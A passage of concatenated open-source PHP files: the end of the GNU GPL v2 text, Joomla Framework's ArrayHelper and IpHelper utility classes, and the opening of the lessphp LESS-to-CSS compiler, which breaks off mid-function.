  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Utilities Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Utilities;

use Joomla\String\StringHelper;

/**
 * ArrayHelper is an array utility class for doing all sorts of odds and
ends with arrays.
 *
 * @since  1.0
 */
final class ArrayHelper
{
	/**
	 * Private constructor to prevent instantiation of this class
	 *
	 * @since   1.0
	 */
	private function __construct()
	{
	}

	/**
	 * Function to convert array to integer values
	 *
	 * @param   array      $array    The source array to convert
	 * @param   int|array  $default  A default value to assign if $array is
not an array
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public static function toInteger($array, $default = null)
	{
		if (\is_array($array))
		{
			return array_map('intval', $array);
		}

		if ($default === null)
		{
			return array();
		}

		if (\is_array($default))
		{
			return static::toInteger($default, null);
		}

		return array((int) $default);
	}

	/**
	 * Utility function to map an array to a stdClass object.
	 *
	 * @param   array    $array      The array to map.
	 * @param   string   $class      Name of the class to create
	 * @param   boolean  $recursive  Convert also any array inside the main
array
	 *
	 * @return  object
	 *
	 * @since   1.0
	 */
	public static function toObject(array $array, $class =
'stdClass', $recursive = true)
	{
		$obj = new $class;

		foreach ($array as $k => $v)
		{
			if ($recursive && \is_array($v))
			{
				$obj->$k = static::toObject($v, $class);
			}
			else
			{
				$obj->$k = $v;
			}
		}

		return $obj;
	}

	/**
	 * Utility function to map an array to a string.
	 *
	 * @param   array    $array         The array to map.
	 * @param   string   $innerGlue     The glue (optional, defaults to
'=') between the key and the value.
	 * @param   string   $outerGlue     The glue (optional, defaults to '
') between array elements.
	 * @param   boolean  $keepOuterKey  True if final key should be kept.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public static function toString(array $array, $innerGlue = '=',
$outerGlue = ' ', $keepOuterKey = false)
	{
		$output = array();

		foreach ($array as $key => $item)
		{
			if (\is_array($item))
			{
				if ($keepOuterKey)
				{
					$output[] = $key;
				}

				// This is value is an array, go and do it again!
				$output[] = static::toString($item, $innerGlue, $outerGlue,
$keepOuterKey);
			}
			else
			{
				$output[] = $key . $innerGlue . '"' . $item .
'"';
			}
		}

		return implode($outerGlue, $output);
	}

	/**
	 * Utility function to map an object to an array
	 *
	 * @param   object   $source   The source object
	 * @param   boolean  $recurse  True to recurse through multi-level objects
	 * @param   string   $regex    An optional regular expression to match on
field names
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public static function fromObject($source, $recurse = true, $regex = null)
	{
		if (\is_object($source) || \is_array($source))
		{
			return self::arrayFromObject($source, $recurse, $regex);
		}

		return array();
	}

	/**
	 * Utility function to map an object or array to an array
	 *
	 * @param   mixed    $item     The source object or array
	 * @param   boolean  $recurse  True to recurse through multi-level objects
	 * @param   string   $regex    An optional regular expression to match on
field names
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	private static function arrayFromObject($item, $recurse, $regex)
	{
		if (\is_object($item))
		{
			$result = array();

			foreach (get_object_vars($item) as $k => $v)
			{
				if (!$regex || preg_match($regex, $k))
				{
					if ($recurse)
					{
						$result[$k] = self::arrayFromObject($v, $recurse, $regex);
					}
					else
					{
						$result[$k] = $v;
					}
				}
			}

			return $result;
		}

		if (\is_array($item))
		{
			$result = array();

			foreach ($item as $k => $v)
			{
				$result[$k] = self::arrayFromObject($v, $recurse, $regex);
			}

			return $result;
		}

		return $item;
	}

	/**
	 * Adds a column to an array of arrays or objects
	 *
	 * @param   array   $array    The source array
	 * @param   array   $column   The array to be used as new column
	 * @param   string  $colName  The index of the new column or name of the
new object property
	 * @param   string  $keyCol   The index of the column or name of object
property to be used for mapping with the new column
	 *
	 * @return  array  An array with the new column added to the source array
	 *
	 * @since   1.5.0
	 * @see     https://www.php.net/manual/en/language.types.array.php
	 */
	public static function addColumn(array $array, array $column, $colName,
$keyCol = null)
	{
		$result = array();

		foreach ($array as $i => $item)
		{
			$value = null;

			if (!isset($keyCol))
			{
				$value = static::getValue($column, $i);
			}
			else
			{
				// Convert object to array
				$subject = \is_object($item) ? static::fromObject($item) : $item;

				if (isset($subject[$keyCol]) && is_scalar($subject[$keyCol]))
				{
					$value = static::getValue($column, $subject[$keyCol]);
				}
			}

			// Add the column
			if (\is_object($item))
			{
				if (isset($colName))
				{
					$item->$colName = $value;
				}
			}
			else
			{
				if (isset($colName))
				{
					$item[$colName] = $value;
				}
				else
				{
					$item[] = $value;
				}
			}

			$result[$i] = $item;
		}

		return $result;
	}

	/**
	 * Remove a column from an array of arrays or objects
	 *
	 * @param   array   $array    The source array
	 * @param   string  $colName  The index of the column or name of object
property to be removed
	 *
	 * @return  array  Column of values from the source array
	 *
	 * @since   1.5.0
	 * @see     https://www.php.net/manual/en/language.types.array.php
	 */
	public static function dropColumn(array $array, $colName)
	{
		$result = array();

		foreach ($array as $i => $item)
		{
			if (\is_object($item) && isset($item->$colName))
			{
				unset($item->$colName);
			}
			elseif (\is_array($item) && isset($item[$colName]))
			{
				unset($item[$colName]);
			}

			$result[$i] = $item;
		}

		return $result;
	}

	/**
	 * Extracts a column from an array of arrays or objects
	 *
	 * @param   array   $array     The source array
	 * @param   string  $valueCol  The index of the column or name of object
property to be used as value
	 *                             It may also be NULL to return complete
arrays or objects (this is
	 *                             useful together with
<var>$keyCol</var> to reindex the array).
	 * @param   string  $keyCol    The index of the column or name of object
property to be used as key
	 *
	 * @return  array  Column of values from the source array
	 *
	 * @since   1.0
	 * @see     https://www.php.net/manual/en/language.types.array.php
	 * @see     https://www.php.net/manual/en/function.array-column.php
	 */
	public static function getColumn(array $array, $valueCol, $keyCol = null)
	{
		// As of PHP 7, array_column() supports an array of objects so we'll
use that
		if (PHP_VERSION_ID >= 70000)
		{
			return array_column($array, $valueCol, $keyCol);
		}

		$result = array();

		foreach ($array as $item)
		{
			// Convert object to array
			$subject = \is_object($item) ? static::fromObject($item) : $item;

			/*
			 * We process arrays (and objects already converted to array)
			 * Only if the value column (if required) exists in this item
			 */
			if (\is_array($subject) && (!isset($valueCol) ||
isset($subject[$valueCol])))
			{
				// Use whole $item if valueCol is null, else use the value column.
				$value = isset($valueCol) ? $subject[$valueCol] : $item;

				// Array keys can only be integer or string. Casting will occur as per
the PHP Manual.
				if (isset($keyCol, $subject[$keyCol]) &&
is_scalar($subject[$keyCol]))
				{
					$key          = $subject[$keyCol];
					$result[$key] = $value;
				}
				else
				{
					$result[] = $value;
				}
			}
		}

		return $result;
	}

	/**
	 * Utility function to return a value from a named array or a specified
default
	 *
	 * @param   array|\ArrayAccess  $array    A named array or object that
implements ArrayAccess
	 * @param   string              $name     The key to search for (this can
be an array index or a dot separated key sequence as in Registry)
	 * @param   mixed               $default  The default value to give if no
key found
	 * @param   string              $type     Return type for the variable
(INT, FLOAT, STRING, WORD, BOOLEAN, ARRAY)
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public static function getValue($array, $name, $default = null, $type =
'')
	{
		if (!\is_array($array) && !($array instanceof \ArrayAccess))
		{
			throw new \InvalidArgumentException('The object must be an array or
an object that implements ArrayAccess');
		}

		$result = null;

		if (isset($array[$name]))
		{
			$result = $array[$name];
		}
		elseif (strpos($name, '.'))
		{
			list($name, $subset) = explode('.', $name, 2);

			if (isset($array[$name]) && \is_array($array[$name]))
			{
				return static::getValue($array[$name], $subset, $default, $type);
			}
		}

		// Handle the default case
		if ($result === null)
		{
			$result = $default;
		}

		// Handle the type constraint
		switch (strtoupper($type))
		{
			case 'INT':
			case 'INTEGER':
				// Only use the first integer value
				@preg_match('/-?[0-9]+/', $result, $matches);
				$result = @(int) $matches[0];

				break;

			case 'FLOAT':
			case 'DOUBLE':
				// Only use the first floating point value
				@preg_match('/-?[0-9]+(\.[0-9]+)?/', $result, $matches);
				$result = @(float) $matches[0];

				break;

			case 'BOOL':
			case 'BOOLEAN':
				$result = (bool) $result;

				break;

			case 'ARRAY':
				if (!\is_array($result))
				{
					$result = array($result);
				}

				break;

			case 'STRING':
				$result = (string) $result;

				break;

			case 'WORD':
				$result = (string) preg_replace('#\W#', '',
$result);

				break;

			case 'NONE':
			default:
				// No casting necessary
				break;
		}

		return $result;
	}

	/**
	 * Takes an associative array of arrays and inverts the array keys to
values using the array values as keys.
	 *
	 * Example:
	 * $input = array(
	 *     'New' => array('1000', '1500',
'1750'),
	 *     'Used' => array('3000', '4000',
'5000', '6000')
	 * );
	 * $output = ArrayHelper::invert($input);
	 *
	 * Output would be equal to:
	 * $output = array(
	 *     '1000' => 'New',
	 *     '1500' => 'New',
	 *     '1750' => 'New',
	 *     '3000' => 'Used',
	 *     '4000' => 'Used',
	 *     '5000' => 'Used',
	 *     '6000' => 'Used'
	 * );
	 *
	 * @param   array  $array  The source array.
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public static function invert(array $array)
	{
		$return = array();

		foreach ($array as $base => $values)
		{
			if (!\is_array($values))
			{
				continue;
			}

			foreach ($values as $key)
			{
				// If the key isn't scalar then ignore it.
				if (is_scalar($key))
				{
					$return[$key] = $base;
				}
			}
		}

		return $return;
	}

	/**
	 * Method to determine if an array is an associative array.
	 *
	 * @param   array  $array  An array to test.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public static function isAssociative($array)
	{
		if (\is_array($array))
		{
			foreach (array_keys($array) as $k => $v)
			{
				if ($k !== $v)
				{
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Pivots an array to create a reverse lookup of an array of scalars,
arrays or objects.
	 *
	 * @param   array   $source  The source array.
	 * @param   string  $key     Where the elements of the source array are
objects or arrays, the key to pivot on.
	 *
	 * @return  array  An array of arrays pivoted either on the value of the
keys, or an individual key of an object or array.
	 *
	 * @since   1.0
	 */
	public static function pivot(array $source, $key = null)
	{
		$result  = array();
		$counter = array();

		foreach ($source as $index => $value)
		{
			// Determine the name of the pivot key, and its value.
			if (\is_array($value))
			{
				// If the key does not exist, ignore it.
				if (!isset($value[$key]))
				{
					continue;
				}

				$resultKey   = $value[$key];
				$resultValue = $source[$index];
			}
			elseif (\is_object($value))
			{
				// If the key does not exist, ignore it.
				if (!isset($value->$key))
				{
					continue;
				}

				$resultKey   = $value->$key;
				$resultValue = $source[$index];
			}
			else
			{
				// Just a scalar value.
				$resultKey   = $value;
				$resultValue = $index;
			}

			// The counter tracks how many times a key has been used.
			if (empty($counter[$resultKey]))
			{
				// The first time around we just assign the value to the key.
				$result[$resultKey]  = $resultValue;
				$counter[$resultKey] = 1;
			}
			elseif ($counter[$resultKey] == 1)
			{
				// If there is a second time, we convert the value into an array.
				$result[$resultKey] = array(
					$result[$resultKey],
					$resultValue,
				);
				$counter[$resultKey]++;
			}
			else
			{
				// After the second time, no need to track any more. Just append to the
existing array.
				$result[$resultKey][] = $resultValue;
			}
		}

		unset($counter);

		return $result;
	}

	/**
	 * Utility function to sort an array of objects on a given field
	 *
	 * @param   array  $a              An array of objects
	 * @param   mixed  $k              The key (string) or an array of keys to
sort on
	 * @param   mixed  $direction      Direction (integer) or an array of
direction to sort in [1 = Ascending] [-1 = Descending]
	 * @param   mixed  $caseSensitive  Boolean or array of booleans to let
sort occur case sensitive or insensitive
	 * @param   mixed  $locale         Boolean or array of booleans to let
sort occur using the locale language or not
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public static function sortObjects(array $a, $k, $direction = 1,
$caseSensitive = true, $locale = false)
	{
		if (!\is_array($locale) || !\is_array($locale[0]))
		{
			$locale = array($locale);
		}

		$sortCase      = (array) $caseSensitive;
		$sortDirection = (array) $direction;
		$key           = (array) $k;
		$sortLocale    = $locale;

		usort(
			$a, function ($a, $b) use ($sortCase, $sortDirection, $key, $sortLocale)
			{
				for ($i = 0, $count = \count($key); $i < $count; $i++)
				{
					if (isset($sortDirection[$i]))
					{
						$direction = $sortDirection[$i];
					}

					if (isset($sortCase[$i]))
					{
						$caseSensitive = $sortCase[$i];
					}

					if (isset($sortLocale[$i]))
					{
						$locale = $sortLocale[$i];
					}

					$va = $a->{$key[$i]};
					$vb = $b->{$key[$i]};

					if ((\is_bool($va) || is_numeric($va)) && (\is_bool($vb) ||
is_numeric($vb)))
					{
						$cmp = $va - $vb;
					}
					elseif ($caseSensitive)
					{
						$cmp = StringHelper::strcmp($va, $vb, $locale);
					}
					else
					{
						$cmp = StringHelper::strcasecmp($va, $vb, $locale);
					}

					if ($cmp > 0)
					{
						return $direction;
					}

					if ($cmp < 0)
					{
						return -$direction;
					}
				}

				return 0;
			}
		);

		return $a;
	}

	/**
	 * Multidimensional array safe unique test
	 *
	 * @param   array  $array  The array to make unique.
	 *
	 * @return  array
	 *
	 * @see     https://www.php.net/manual/en/function.array-unique.php
	 * @since   1.0
	 */
	public static function arrayUnique(array $array)
	{
		$array = array_map('serialize', $array);
		$array = array_unique($array);
		$array = array_map('unserialize', $array);

		return $array;
	}

	/**
	 * An improved array_search that allows for partial matching of strings
values in associative arrays.
	 *
	 * @param   string   $needle         The text to search for within the
array.
	 * @param   array    $haystack       Associative array to search in to
find $needle.
	 * @param   boolean  $caseSensitive  True to search case sensitive, false
otherwise.
	 *
	 * @return  mixed    Returns the matching array $key if found, otherwise
false.
	 *
	 * @since   1.0
	 */
	public static function arraySearch($needle, array $haystack,
$caseSensitive = true)
	{
		foreach ($haystack as $key => $value)
		{
			$searchFunc = ($caseSensitive) ? 'strpos' :
'stripos';

			if ($searchFunc($value, $needle) === 0)
			{
				return $key;
			}
		}

		return false;
	}

	/**
	 * Method to recursively convert data to a one dimension array.
	 *
	 * @param   array|object  $array      The array or object to convert.
	 * @param   string        $separator  The key separator.
	 * @param   string        $prefix     Last level key prefix.
	 *
	 * @return  array
	 *
	 * @since   1.3.0
	 * @note    As of 2.0, the result will not include the original array
structure
	 */
	public static function flatten($array, $separator = '.', $prefix
= '')
	{
		if ($array instanceof \Traversable)
		{
			$array = iterator_to_array($array);
		}
		elseif (\is_object($array))
		{
			$array = get_object_vars($array);
		}

		foreach ($array as $k => $v)
		{
			$key = $prefix ? $prefix . $separator . $k : $k;

			if (\is_object($v) || \is_array($v))
			{
				$array = array_merge($array, static::flatten($v, $separator, $key));
			}
			else
			{
				$array[$key] = $v;
			}
		}

		return $array;
	}
}
<?php
/**
 * Part of the Joomla Framework Utilities Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Utilities;

/**
 * IpHelper is a utility class for processing IP addresses
 *
 * This class is adapted from the `FOFUtilsIp` class distributed with the
Joomla! CMS as part of the FOF library by Akeeba Ltd.
 * The original class is copyright of Nicholas K. Dionysopoulos / Akeeba
Ltd.
 *
 * @since  1.6.0
 */
final class IpHelper
{
	/**
	 * The IP address of the current visitor
	 *
	 * @var    string
	 * @since  1.6.0
	 */
	private static $ip = null;

	/**
	 * Should I allow IP overrides through X-Forwarded-For or Client-Ip HTTP
headers?
	 *
	 * @var    boolean
	 * @since  1.6.0
	 */
	private static $allowIpOverrides = true;

	/**
	 * Private constructor to prevent instantiation of this class
	 *
	 * @since   1.6.0
	 */
	private function __construct()
	{
	}

	/**
	 * Get the current visitor's IP address
	 *
	 * @return  string
	 *
	 * @since   1.6.0
	 */
	public static function getIp()
	{
		if (self::$ip === null)
		{
			$ip = static::detectAndCleanIP();

			if (!empty($ip) && ($ip != '0.0.0.0') &&
\function_exists('inet_pton') &&
\function_exists('inet_ntop'))
			{
				$myIP = @inet_pton($ip);

				if ($myIP !== false)
				{
					$ip = inet_ntop($myIP);
				}
			}

			static::setIp($ip);
		}

		return self::$ip;
	}

	/**
	 * Set the IP address of the current visitor
	 *
	 * @param   string  $ip  The visitor's IP address
	 *
	 * @return  void
	 *
	 * @since   1.6.0
	 */
	public static function setIp($ip)
	{
		self::$ip = $ip;
	}

	/**
	 * Is it an IPv6 IP address?
	 *
	 * @param   string   $ip  An IPv4 or IPv6 address
	 *
	 * @return  boolean
	 *
	 * @since   1.6.0
	 */
	public static function isIPv6($ip)
	{
		return strstr($ip, ':');
	}

	/**
	 * Checks if an IP is contained in a list of IPs or IP expressions
	 *
	 * @param   string        $ip       The IPv4/IPv6 address to check
	 * @param   array|string  $ipTable  An IP expression (or a comma-separated
or array list of IP expressions) to check against
	 *
	 * @return  boolean
	 *
	 * @since   1.6.0
	 */
	public static function IPinList($ip, $ipTable = '')
	{
		// No point proceeding with an empty IP list
		if (empty($ipTable))
		{
			return false;
		}

		// If the IP list is not an array, convert it to an array
		if (!\is_array($ipTable))
		{
			if (strpos($ipTable, ',') !== false)
			{
				$ipTable = explode(',', $ipTable);
				$ipTable = array_map('trim', $ipTable);
			}
			else
			{
				$ipTable = trim($ipTable);
				$ipTable = array($ipTable);
			}
		}

		// If no IP address is found, return false
		if ($ip === '0.0.0.0')
		{
			return false;
		}

		// If no IP is given, return false
		if (empty($ip))
		{
			return false;
		}

		// Sanity check
		if (!\function_exists('inet_pton'))
		{
			return false;
		}

		// Get the IP's in_adds representation
		$myIP = @inet_pton($ip);

		// If the IP is in an unrecognisable format, quite
		if ($myIP === false)
		{
			return false;
		}

		$ipv6 = static::isIPv6($ip);

		foreach ($ipTable as $ipExpression)
		{
			$ipExpression = trim($ipExpression);

			// Inclusive IP range, i.e. 123.123.123.123-124.125.126.127
			if (strstr($ipExpression, '-'))
			{
				list($from, $to) = explode('-', $ipExpression, 2);

				if ($ipv6 && (!static::isIPv6($from) || !static::isIPv6($to)))
				{
					// Do not apply IPv4 filtering on an IPv6 address
					continue;
				}

				if (!$ipv6 && (static::isIPv6($from) || static::isIPv6($to)))
				{
					// Do not apply IPv6 filtering on an IPv4 address
					continue;
				}

				$from = @inet_pton(trim($from));
				$to   = @inet_pton(trim($to));

				// Sanity check
				if (($from === false) || ($to === false))
				{
					continue;
				}

				// Swap from/to if they're in the wrong order
				if ($from > $to)
				{
					list($from, $to) = array($to, $from);
				}

				if (($myIP >= $from) && ($myIP <= $to))
				{
					return true;
				}
			}
			// Netmask or CIDR provided
			elseif (strstr($ipExpression, '/'))
			{
				$binaryip = static::inetToBits($myIP);

				list($net, $maskbits) = explode('/', $ipExpression, 2);

				if ($ipv6 && !static::isIPv6($net))
				{
					// Do not apply IPv4 filtering on an IPv6 address
					continue;
				}

				if (!$ipv6 && static::isIPv6($net))
				{
					// Do not apply IPv6 filtering on an IPv4 address
					continue;
				}

				if ($ipv6 && strstr($maskbits, ':'))
				{
					// Perform an IPv6 CIDR check
					if (static::checkIPv6CIDR($myIP, $ipExpression))
					{
						return true;
					}

					// If we didn't match it proceed to the next expression
					continue;
				}

				if (!$ipv6 && strstr($maskbits, '.'))
				{
					// Convert IPv4 netmask to CIDR
					$long     = ip2long($maskbits);
					$base     = ip2long('255.255.255.255');
					$maskbits = 32 - log(($long ^ $base) + 1, 2);
				}

				// Convert network IP to in_addr representation
				$net = @inet_pton($net);

				// Sanity check
				if ($net === false)
				{
					continue;
				}

				// Get the network's binary representation
				$expectedNumberOfBits = $ipv6 ? 128 : 24;
				$binarynet            = str_pad(static::inetToBits($net),
$expectedNumberOfBits, '0', STR_PAD_RIGHT);

				// Check the corresponding bits of the IP and the network
				$ipNetBits = substr($binaryip, 0, $maskbits);
				$netBits   = substr($binarynet, 0, $maskbits);

				if ($ipNetBits === $netBits)
				{
					return true;
				}
			}
			else
			{
				// IPv6: Only single IPs are supported
				if ($ipv6)
				{
					$ipExpression = trim($ipExpression);

					if (!static::isIPv6($ipExpression))
					{
						continue;
					}

					$ipCheck = @inet_pton($ipExpression);

					if ($ipCheck === false)
					{
						continue;
					}

					if ($ipCheck == $myIP)
					{
						return true;
					}
				}
				else
				{
					// Standard IPv4 address, i.e. 123.123.123.123 or partial IP address,
i.e. 123.[123.][123.][123]
					$dots = 0;

					if (substr($ipExpression, -1) == '.')
					{
						// Partial IP address. Convert to CIDR and re-match
						foreach (count_chars($ipExpression, 1) as $i => $val)
						{
							if ($i == 46)
							{
								$dots = $val;
							}
						}

						switch ($dots)
						{
							case 1:
								$netmask = '255.0.0.0';
								$ipExpression .= '0.0.0';

								break;

							case 2:
								$netmask = '255.255.0.0';
								$ipExpression .= '0.0';

								break;

							case 3:
								$netmask = '255.255.255.0';
								$ipExpression .= '0';

								break;

							default:
								$dots = 0;
						}

						if ($dots)
						{
							$binaryip = static::inetToBits($myIP);

							// Convert netmask to CIDR
							$long     = ip2long($netmask);
							$base     = ip2long('255.255.255.255');
							$maskbits = 32 - log(($long ^ $base) + 1, 2);

							$net = @inet_pton($ipExpression);

							// Sanity check
							if ($net === false)
							{
								continue;
							}

							// Get the network's binary representation
							$expectedNumberOfBits = $ipv6 ? 128 : 24;
							$binarynet            = str_pad(static::inetToBits($net),
$expectedNumberOfBits, '0', STR_PAD_RIGHT);

							// Check the corresponding bits of the IP and the network
							$ipNetBits = substr($binaryip, 0, $maskbits);
							$netBits   = substr($binarynet, 0, $maskbits);

							if ($ipNetBits === $netBits)
							{
								return true;
							}
						}
					}

					if (!$dots)
					{
						$ip = @inet_pton(trim($ipExpression));

						if ($ip == $myIP)
						{
							return true;
						}
					}
				}
			}
		}

		return false;
	}

	/**
	 * Works around the REMOTE_ADDR not containing the user's IP
	 *
	 * @return  void
	 *
	 * @since   1.6.0
	 */
	public static function workaroundIPIssues()
	{
		$ip = static::getIp();

		if (isset($_SERVER['REMOTE_ADDR']) &&
$_SERVER['REMOTE_ADDR'] === $ip)
		{
			return;
		}

		if (isset($_SERVER['REMOTE_ADDR']))
		{
			$_SERVER['JOOMLA_REMOTE_ADDR'] =
$_SERVER['REMOTE_ADDR'];
		}
		elseif (\function_exists('getenv'))
		{
			if (getenv('REMOTE_ADDR'))
			{
				$_SERVER['JOOMLA_REMOTE_ADDR'] =
getenv('REMOTE_ADDR');
			}
		}

		$_SERVER['REMOTE_ADDR'] = $ip;
	}

	/**
	 * Should I allow the remote client's IP to be overridden by an
X-Forwarded-For or Client-Ip HTTP header?
	 *
	 * @param   boolean  $newState  True to allow the override
	 *
	 * @return  void
	 *
	 * @since   1.6.0
	 */
	public static function setAllowIpOverrides($newState)
	{
		self::$allowIpOverrides = $newState ? true : false;
	}

	/**
	 * Gets the visitor's IP address.
	 *
	 * Automatically handles reverse proxies reporting the IPs of intermediate
devices, like load balancers. Examples:
	 *
	 * -
https://www.akeebabackup.com/support/admin-tools/13743-double-ip-adresses-in-security-exception-log-warnings.html
	 * -
https://stackoverflow.com/questions/2422395/why-is-request-envremote-addr-returning-two-ips
	 *
	 * The solution used is assuming that the last IP address is the external
one.
	 *
	 * @return  string
	 *
	 * @since   1.6.0
	 */
	protected static function detectAndCleanIP()
	{
		$ip = static::detectIP();

		if (strstr($ip, ',') !== false || strstr($ip, ' ')
!== false)
		{
			$ip  = str_replace(' ', ',', $ip);
			$ip  = str_replace(',,', ',', $ip);
			$ips = explode(',', $ip);
			$ip  = '';

			while (empty($ip) && !empty($ips))
			{
				$ip = array_pop($ips);
				$ip = trim($ip);
			}
		}
		else
		{
			$ip = trim($ip);
		}

		return $ip;
	}

	/**
	 * Gets the visitor's IP address
	 *
	 * @return  string
	 *
	 * @since   1.6.0
	 */
	protected static function detectIP()
	{
		// Normally the $_SERVER superglobal is set
		if (isset($_SERVER))
		{
			// Do we have an x-forwarded-for HTTP header (e.g. NginX)?
			if (self::$allowIpOverrides &&
isset($_SERVER['HTTP_X_FORWARDED_FOR']))
			{
				return $_SERVER['HTTP_X_FORWARDED_FOR'];
			}

			// Do we have a client-ip header (e.g. non-transparent proxy)?
			if (self::$allowIpOverrides &&
isset($_SERVER['HTTP_CLIENT_IP']))
			{
				return $_SERVER['HTTP_CLIENT_IP'];
			}

			// Normal, non-proxied server or server behind a transparent proxy
			if (isset($_SERVER['REMOTE_ADDR']))
			{
				return $_SERVER['REMOTE_ADDR'];
			}
		}

		/*
		 * This part is executed on PHP running as CGI, or on SAPIs which do not
set the $_SERVER superglobal
		 * If getenv() is disabled, you're screwed
		 */
		if (!\function_exists('getenv'))
		{
			return '';
		}

		// Do we have an x-forwarded-for HTTP header?
		if (self::$allowIpOverrides &&
getenv('HTTP_X_FORWARDED_FOR'))
		{
			return getenv('HTTP_X_FORWARDED_FOR');
		}

		// Do we have a client-ip header?
		if (self::$allowIpOverrides &&
getenv('HTTP_CLIENT_IP'))
		{
			return getenv('HTTP_CLIENT_IP');
		}

		// Normal, non-proxied server or server behind a transparent proxy
		if (getenv('REMOTE_ADDR'))
		{
			return getenv('REMOTE_ADDR');
		}

		// Catch-all case for broken servers, apparently
		return '';
	}

	/**
	 * Converts inet_pton output to bits string
	 *
	 * @param   string  $inet  The in_addr representation of an IPv4 or IPv6
address
	 *
	 * @return  string
	 *
	 * @since   1.6.0
	 */
	protected static function inetToBits($inet)
	{
		if (\strlen($inet) == 4)
		{
			$unpacked = unpack('A4', $inet);
		}
		else
		{
			$unpacked = unpack('A16', $inet);
		}

		$unpacked = str_split($unpacked[1]);
		$binaryip = '';

		foreach ($unpacked as $char)
		{
			$binaryip .= str_pad(decbin(\ord($char)), 8, '0',
STR_PAD_LEFT);
		}

		return $binaryip;
	}

	/**
	 * Checks if an IPv6 address $ip is part of the IPv6 CIDR block $cidrnet
	 *
	 * @param   string  $ip       The IPv6 address to check, e.g.
21DA:00D3:0000:2F3B:02AC:00FF:FE28:9C5A
	 * @param   string  $cidrnet  The IPv6 CIDR block, e.g.
21DA:00D3:0000:2F3B::/64
	 *
	 * @return  boolean
	 *
	 * @since   1.6.0
	 */
	protected static function checkIPv6CIDR($ip, $cidrnet)
	{
		$ip       = inet_pton($ip);
		$binaryip = static::inetToBits($ip);

		list($net, $maskbits) = explode('/', $cidrnet);
		$net                  = inet_pton($net);
		$binarynet            = static::inetToBits($net);

		$ipNetBits = substr($binaryip, 0, $maskbits);
		$netBits   = substr($binarynet, 0, $maskbits);

		return $ipNetBits === $netBits;
	}
}
<?php

/**
 * lessphp v0.5.0
 * http://leafo.net/lessphp
 *
 * LESS CSS compiler, adapted from http://lesscss.org
 *
 * Copyright 2013, Leaf Corcoran <leafot@gmail.com>
 * Licensed under MIT or GPLv3, see LICENSE
 */


/**
 * The LESS compiler and parser.
 *
 * Converting LESS to CSS is a three stage process. The incoming file is
parsed
 * by `lessc_parser` into a syntax tree, then it is compiled into another
tree
 * representing the CSS structure by `lessc`. The CSS tree is fed into a
 * formatter, like `lessc_formatter` which then outputs CSS as a string.
 *
 * During the first compile, all values are *reduced*, which means that
their
 * types are brought to the lowest form before being dump as strings. This
 * handles math equations, variable dereferences, and the like.
 *
 * The `parse` function of `lessc` is the entry point.
 *
 * In summary:
 *
 * The `lessc` class creates an instance of the parser, feeds it LESS code,
 * then transforms the resulting tree to a CSS tree. This class also holds
the
 * evaluation context, such as all available mixins and variables at any
given
 * time.
 *
 * The `lessc_parser` class is only concerned with parsing its input.
 *
 * The `lessc_formatter` takes a CSS tree, and dumps it to a formatted
string,
 * handling things like indentation.
 */
class lessc {
    public static $VERSION = "v0.5.0";

    public static $TRUE = array("keyword", "true");
    public static $FALSE = array("keyword", "false");

    protected $libFunctions = array();
    protected $registeredVars = array();
    protected $preserveComments = false;

    public $vPrefix = '@'; // prefix of abstract properties
    public $mPrefix = '$'; // prefix of abstract blocks
    public $parentSelector = '&';

    public $importDisabled = false;
    public $importDir = '';

    protected $numberPrecision = null;

    protected $allParsedFiles = array();

    // set to the parser that generated the current line when compiling
    // so we know how to create error messages
    protected $sourceParser = null;
    protected $sourceLoc = null;

    protected static $nextImportId = 0; // uniquely identify imports

    // attempts to find the path of an import url, returns null for css
files
    protected function findImport($url) {
        foreach ((array)$this->importDir as $dir) {
            $full = $dir.(substr($dir, -1) != '/' ? '/'
: '').$url;
            if ($this->fileExists($file = $full.'.less') ||
$this->fileExists($file = $full)) {
                return $file;
            }
        }

        return null;
    }

    protected function fileExists($name) {
        return is_file($name);
    }

    public static function compressList($items, $delim) {
        if (!isset($items[1]) && isset($items[0])) return
$items[0];
        else return array('list', $delim, $items);
    }

    public static function preg_quote($what) {
        return preg_quote($what, '/');
    }

    protected function tryImport($importPath, $parentBlock, $out) {
        if ($importPath[0] == "function" &&
$importPath[1] == "url") {
            $importPath = $this->flattenList($importPath[2]);
        }

        $str = $this->coerceString($importPath);
        if ($str === null) return false;

        $url = $this->compileValue($this->lib_e($str));

        // don't import if it ends in css
        if (substr_compare($url, '.css', -4, 4) === 0) return
false;

        $realPath = $this->findImport($url);

        if ($realPath === null) return false;

        if ($this->importDisabled) {
            return array(false, "/* import disabled */");
        }

        if (isset($this->allParsedFiles[realpath($realPath)])) {
            return array(false, null);
        }

        $this->addParsedFile($realPath);
        $parser = $this->makeParser($realPath);
        $root = $parser->parse(file_get_contents($realPath));

        // set the parents of all the block props
        foreach ($root->props as $prop) {
            if ($prop[0] == "block") {
                $prop[1]->parent = $parentBlock;
            }
        }

        // copy mixins into scope, set their parents
        // bring blocks from import into current block
        // TODO: need to mark the source parser these came from this file
        foreach ($root->children as $childName => $child) {
            if (isset($parentBlock->children[$childName])) {
                $parentBlock->children[$childName] = array_merge(
                    $parentBlock->children[$childName],
                    $child);
            } else {
                $parentBlock->children[$childName] = $child;
            }
        }

        $pi = pathinfo($realPath);
        $dir = $pi["dirname"];

        list($top, $bottom) = $this->sortProps($root->props, true);
        $this->compileImportedProps($top, $parentBlock, $out, $parser,
$dir);

